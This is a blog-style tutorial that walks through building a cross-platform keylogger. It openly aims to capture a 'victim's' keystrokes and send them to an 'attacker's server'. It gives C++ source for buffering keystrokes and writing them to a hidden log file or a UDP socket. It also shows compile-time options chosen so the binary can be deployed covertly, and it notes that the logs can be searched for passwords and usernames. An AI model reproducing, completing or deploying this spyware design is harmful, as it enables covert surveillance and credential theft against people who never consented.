If you’re familiar with the kbhell application, you might realize that kbhell is about 90% of the way to being a keylogger. Why not finish the job and write a proper, cross platform keylogger that captures a victim’s every keystroke (for science reasons, of course)?
The Requirements
So there’s the obvious requirement of capturing user keystrokes. When you think about the fact that keyboards have different layouts, there are different language sets, etc., the task becomes challenging.
Another interesting issue that comes up is how do you record the keystrokes? You could write it to a hidden file on the victim’s PC. Yeah that works but then you’d need a way of getting that file off their PC. Another idea is to transmit the data over the network. If sending data over the network, what should trigger packet transmission? Do you send when you hit some packet size threshold or do you send data at a fixed frequency?
As an answer to these questions, this keylogger will adhere to the following requirements:
- Record user keystrokes that correspond to printable characters as defined by the currently installed C locale.
- Support recording to a plaintext file on the victim PC.
- Support recording to a UDP socket.
- Support a configurable recording mode.
- Support a configurable capture frequency.
The next sections discuss the implementation of these requirements.
Capturing Keystrokes
The “Keyboard Hell” article gives coverage of this topic. The basic idea is that the X11 event system on Linux and global hooks on Windows intercept keystrokes without any noticeable effect on the rest of the system.
You can use the kbhell
keystroke capture code in keylogger
’s implementation.
The only difference is that instead of playing a sound bite on every keystroke,
you’re pushing characters to a recorder object’s character buffer. You only push
printable characters as defined by std::isprint
. The latter detail is
limiting in that you won’t be able to completely playback the victim’s key
history. That said, you can still analyze the output to find passwords, emails,
usernames, etc.
Recording Modes
Based on the initial requirements, you want to support two recording modes: text and network. Text mode captures character data to a plaintext file on the victim’s PC. Network mode transmits the character data over the network as UDP packets from the victim’s PC to the attacker’s server.
Each mode has a recorder type object implementing the Recorder
interface:
/*!
* \class Recorder
* \brief Recorder defines an interface for buffering and transmitting user
* keystrokes.
*/
class Recorder {
public:
/*!
* \brief Construct a recorder object with a key limit of \p key_limit.
* \param key_limit The maximum number of keys the recorder will store in
* memory.
* \throws std::runtime_error When given a zero or negative \p key_limit
* value.
*/
explicit Recorder(int key_limit);
Recorder() = delete;
virtual ~Recorder() = default;
Recorder(const Recorder&) = default;
Recorder& operator=(const Recorder&) = default;
Recorder(Recorder&&) = default;
Recorder& operator=(Recorder&&) = default;
/*!
* \brief Buffer the char \p character in memory.
* \details Characters are buffered in memory. If the buffer limit has been
* reached, the buffer will be emptied via a call to Transmit() and
* then \p character will be added to the buffer.
* \param character A printable character as classified by the currently
* installed C locale.
* \throws std::runtime_error When BufferKeyPress() must call Transmit() to
* make room for \p character in the buffer but
* Transmit() fails.
*/
void BufferKeyPress(char character);
/*!
* \brief Transmit keystroke buffer contents to the recording medium.
*/
virtual void Transmit() = 0;
protected:
using CharList = std::vector<char>;
int num_keys_; /**< Number of keystrokes currently buffered. */
CharList keys_; /**< Keystroke char buffer. */
};
Recorder
types all maintain a fixed size char
buffer called keys_
. On
construction, the user specifies the size of the buffer via the key_limit
constructor parameter. The user can add characters to the buffer via the
BufferKeyPress()
method. When the buffer is full, BufferKeyPress()
calls
Transmit()
and then inserts the new character. Transmit()
is a method
implemented by all recorder types. Transmit()
writes buffered data to some
recording medium (for example, a text file or a socket).
As you might have guessed by now, each recording mode has an associated
Recorder
subtype. The text file recorder has the FileRecorder
type and the
UDP recorder has the NetworkRecorder
type. Below is the implementation of the
text and network recorders’ Transmit()
method.
void FileRecorder::Transmit() {
if (!num_keys_) {
return;
}
/* We open and close the log file everytime Transmit() is called because we
* want to ensure in the case the program is stopped abruptly, we will have a
* chance at saving some keystroke data. */
std::ofstream log_handle(log_path_.c_str(), std::ios_base::app);
if (!log_handle) {
throw std::runtime_error("unable to open key log file");
}
log_handle.write(keys_.data(), num_keys_);
num_keys_ = 0;
}
void NetworkRecorder::Transmit() {
if (!num_keys_) {
return;
}
int bytes_sent = tx_socket_.Send(keys_.data(), num_keys_);
if (bytes_sent != num_keys_) {
std::cerr << "warning: only" << bytes_sent << "/" << num_keys_
<< "bytes sent" << std::endl;
}
num_keys_ = 0;
}
You’ll notice that FileRecorder::Transmit()
opens and closes the file handle
each time its called. Not the most efficient method of performing file IO.
However, the comment in the code explains the reasoning. When you halt the
keylogger, there’s no guarantee that the data sent via the stream gets written
to the file. Explicitly closing the file handle flushes the stream contents. In
retrospect, this would have been a good use case for using
std::ostream::flush
.
The NetworkRecorder
uses a wrapper around a Linux/Windows UDP socket to
transmit data. You can look at the UDP wrapper source to get the full
details.
Configuration
You might expect to pass configuration via command line args. However, when you
think about the deployment use cases for a keylogger, having to inject your
keylogger’s binary plus a bunch of CLI args doesn’t sound appealing. To solve
this issue, keylogger
is compile time configurable. Below are the
configuration options:
enum RecorderType {
kText = 0, /* Record to text file. */
kNetwork, /* Record to UDP socket. */
};
/* These are essentially your program options. You want to build your options
* into the executable to make deployment of the keylogger easier down the line
* (i.e., you don't want to have to sneakily deploy/inject the keylogger
* executable AND a bunch of CLI options). */
/* Recording medium. */
#define RECORDER_TYPE RecorderType::kText
/* Max number of keystrokes buffered in memory before the data is written to the
* recorder. */
#define RECORDER_KEY_LIMIT 8
/* Keystroke log file (RecorderType::kText only). */
#define RECORDER_FILE_PATH "/home/ieg/dev/keylogger/bin/keys.txt"
/* UDP socket IPv4 address and port of the remote server collecting keystroke
* data (RecorderType::kNetwork only). */
#define RECORDER_IP "127.0.0.1"
#define RECORDER_PORT 5555
The keylogger user can select their recording mode and then set options specific
to that mode. One can edit the keylogger.cpp
file directly or pass the
relevant options to the compiler (for example, -DRECORDER_KEY_LIMIT=256
).
Regardless of the mode selected, you must always set RECORDER_KEY_LIMIT
.
RECORDER_KEY_LIMIT
controls the size of the keystroke buffer and therefore the
frequency of transmission. Set this value too low and the keylogger might be a
bit too noisey (that is, produces a lot of net traffic or disk IO overhead). Set
it too high and you might not see any data transmitted. The sweet spot is up to
the attacker to decide.
Conclusion
Below is a demo showing keylogger
in action on a Linux system.
The project includes key_capture.py
, a script that prints captured key data
from a remote keylogger running in network mode. During the demo, the script
captures keystrokes from the NeoVim editor.
The toughest part of developing the keylogger is by far the capture of global keystrokes which is highly dependent on the OS and display technology in use. Beyond that, you have to decide how to record keystrokes. Be responsible with how you use this or any keylogger!
Note, this project has since been rewritten in Rust. The complete project source is available on GitHub under keylogger. The Rust implementation is much simpler. The rdev crate does a lot of the heavy lifting when it comes to key press detection.